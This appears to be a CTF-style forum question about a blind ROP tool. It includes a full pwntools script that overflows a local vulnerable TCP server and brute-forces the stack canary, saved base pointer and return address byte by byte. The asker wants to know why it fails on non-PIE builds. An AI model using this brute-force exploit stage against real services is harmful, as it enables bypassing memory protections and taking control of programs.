CTF - PIE and non PIE infected binary, base-pointer, instruction pointer values

Question

I am working on a tool like Bropper from github, which is based on blind-return-oriented programming. This tool can send data to a VulnSocket server and checks if the server has crashed or not and can reveal information about the program itself.

This code snippet works when ASLR is enabled and the VulnSocket server has been compiled with PIE.

If it has not been compiled with PIE and ASLR is disabled. The tool is only able to force the stack canary, base pointer and command pointer once. When I run the Python script again, the bruteforce method fails because it is no longer able to find the correct byte from 0 to 255 in hexadecimal notation. I have to restart the VulnSocket server, then it only runs correctly once.

Can someone explain to me what has happened here. It seems that the stack canary is bruteforced correctly, but fails at the base pointer. The first 3 bytes of the base pointer are different from the first try, how can this happen.

With PIE and ASLR on it works fine.

#!/usr/bin/env python3

import argparse
import sys

from capstone import *
from pwn import *

from elftools.elf.elffile import ELFFile
from elftools.elf.sections import Section
from pathlib import Path
from rgbprint import rgbprint, Color
from typing import Any, Generator, NoReturn, Type

#

BASE_DIR      = Path(__file__).resolve().parent

PROGRAM_PATH  = BASE_DIR / './TCPSocketServer_64Bit'
DEBUG_FILE    = BASE_DIR / './debug.txt'

REMOTE_HOST   = '127.0.0.1'
REMOTE_PORT   = '10001'

OFFSET        = 'A' * 136
WAIT          = 'Hello, client.'
EXPECTED      = 'Password is wrong.'
EXPECTED_STOP = 'Password is correct.'

global STOP
STOP: bool = False

#
#
#

def write_to_debug_file(file, data) -> None:
    try:
        with open(file, 'a+') as debug_file:
            debug_file.write(data)
    except Exception as error:
        raise Exception('write_to_debug_file() - ' + str(error))

#

class ELFRemoteData():
    _er_host: str
    _er_port: str
    _er_offset: bytes
    _er_wait: bytes
    _er_expected: bytes
    _er_expected_stop: bytes
    _er_stack_canary: bytes = b''
    _er_base_pointer: bytes = b''
    _er_instruction_pointer: bytes = b''
    _er_init_section_start_address: bytes = b''
    _er_elf_base_address: bytes = b''
    _er_ret_gadget: bytes = b''
    _er_rdi_register_gadget: bytes = b''
    _er_rsi_register_gadget: bytes = b''


    def _er_send(self, payload: bytes, expected: bytes) -> bytes:
        global STOP
        if not expected:
            expected = self._er_expected_stop
        connection = remote(self._er_host, self._er_port)
        result = b''
        try:
            if STOP == True:
                print('BRUTEFORCE ATTACK CRASHED!')
                sys.exit(1)
            connection.recvuntil(self._er_wait, timeout=1)
            connection.send(payload)
            result = connection.recvuntil(expected, timeout=1)
            connection.close()
        except EOFError:
            connection.close()
        except PwnlibException as error:
            connection.close()
            raise Exception('ELFRemoteData / _er_send() - ' + str(error))
        except Exception as error:
            connection.close()
            raise Exception('ELFRemoteData / _er_send() - ' + str(error))
        return result


    def _er_payload(self, extend_payload: list, expected: bytes) -> bytes:
        payload  = b''
        payload += self._er_offset
        payload += self._er_stack_canary
        payload += self._er_base_pointer if self._er_stack_canary != b'' else b''
        payload += b''.join(extend_payload)
        return self._er_send(payload=payload, expected=expected)


    def _er_bruteforce_stack(self, logging_text: str) -> bytes:
        global STOP
        context.log_level = 'info'
        p = log.progress(f'BRUTEFORCE - {logging_text} - 8 BYTES')
        stack = b''
        z = 1
        while z <= 8:
            y = 0
            while y <= 255:
                current_byte = y.to_bytes(1, sys.byteorder)
                context.log_level = 'critical'
                result = self._er_payload(extend_payload=[stack, current_byte], expected=self._er_expected)
                context.log_level = 'info'
                if result in self._er_expected in result:
                    stack += current_byte
                    log.info(f'{str(z)}. BYTE')
                    break
                if y == 255:
                    print(stack)
                    STOP = True
                    log.info(f'{logging_text}: FAILED')
                y += 1
            z += 1
        p.success('')
        print(stack)
        log.info(f'{logging_text}: ' + hex(u64(stack)))
        return stack


    def _er_bruteforce_stack_canary(self, logging_text: str) -> str:
        self._er_stack_canary = self._er_bruteforce_stack(logging_text=logging_text)
        stack_canary = hex(u64(self._er_stack_canary))
        write_to_debug_file(file=self._debug_file, data=f'{logging_text}: ' + stack_canary + '\n')


    def _er_bruteforce_base_pointer(self, logging_text: str) -> str:
        self._er_base_pointer = self._er_bruteforce_stack(logging_text=logging_text)
        base_pointer = hex(u64(self._er_base_pointer))
        write_to_debug_file(file=self._debug_file, data=f'{logging_text}: ' + base_pointer + '\n')


    def _er_bruteforce_instruction_pointer(self, logging_text: str) -> str:
        self._er_instruction_pointer = self._er_bruteforce_stack(logging_text=logging_text)
        instruction_pointer = hex(u64(self._er_instruction_pointer))
        write_to_debug_file(file=self._debug_file, data=f'{logging_text}: ' + instruction_pointer + '\n')

#

class x86aslrrunner(ELFRemoteData):
    _program_path: str
    _debug_file: str
    _memory_virtual: str


    def __init__(self, args: Type[argparse.Namespace]) -> NoReturn:
        self._program_path = args.program_path
        self._debug_file = args.debug_file
        self._memory_virtual = args.memory_virtual

        self._er_host = args.host
        self._er_port = args.port

        self._er_offset = args.offset.encode()
        self._er_wait = args.wait.encode()
        self._er_expected = args.expected.encode()
        self._er_expected_stop = args.expected_stop.encode()

        if args.stack_canary:
            self._er_stack_canary = p64(int(args.stack_canary, 0))
        if args.base_pointer:
            self._er_base_pointer = p64(int(args.base_pointer, 0))
        if args.instruction_pointer:
            self._er_instruction_pointer = p64(int(args.instruction_pointer, 0))

        super().__init__()


    def run(self) -> NoReturn:
        write_to_debug_file(file=self._debug_file, data='START: ' + str(self._program_path) + '\n')
        write_to_debug_file(file=self._debug_file, data='REMOTE HOST: ' + str(self._er_host) + '\n')
        write_to_debug_file(file=self._debug_file, data='REMOTE PORT: ' + str(self._er_port) + '\n')

        if self._er_stack_canary == b'':
            self._er_bruteforce_stack_canary(logging_text='STACK CANARY')
        if self._er_base_pointer == b'':
            self._er_bruteforce_base_pointer(logging_text='BASE POINTER')
        if self._er_instruction_pointer == b'':
            self._er_bruteforce_instruction_pointer(logging_text='INSTRUCTION POINTER')

        write_to_debug_file(file=self._debug_file, data='\n')

#

def main():
    parser = argparse.ArgumentParser(description='x86aslrrunner / Linux / x86 / 32Bit / 64Bit')
    parser.add_argument('--program-path', default=PROGRAM_PATH, type=str)
    parser.add_argument('--debug-file', default=DEBUG_FILE, type=str)
    parser.add_argument('--memory-virtual', action=argparse.BooleanOptionalAction, default=True, type=bool)
    parser.add_argument('--host', default=REMOTE_HOST, type=str)
    parser.add_argument('--port', default=REMOTE_PORT, type=str)
    parser.add_argument('--offset', default=OFFSET, type=str)
    parser.add_argument('--wait', default=WAIT, type=str)
    parser.add_argument('--expected', default=EXPECTED, type=str)
    parser.add_argument('--expected-stop', default=EXPECTED_STOP, type=str)
    parser.add_argument('--stack-canary', type=str)
    parser.add_argument('--base-pointer', type=str)
    parser.add_argument('--instruction-pointer', type=str)
    args = parser.parse_args()

    cli_tool = x86aslrrunner(args)
    cli_tool.run()

#

if __name__ == '__main__':
    main()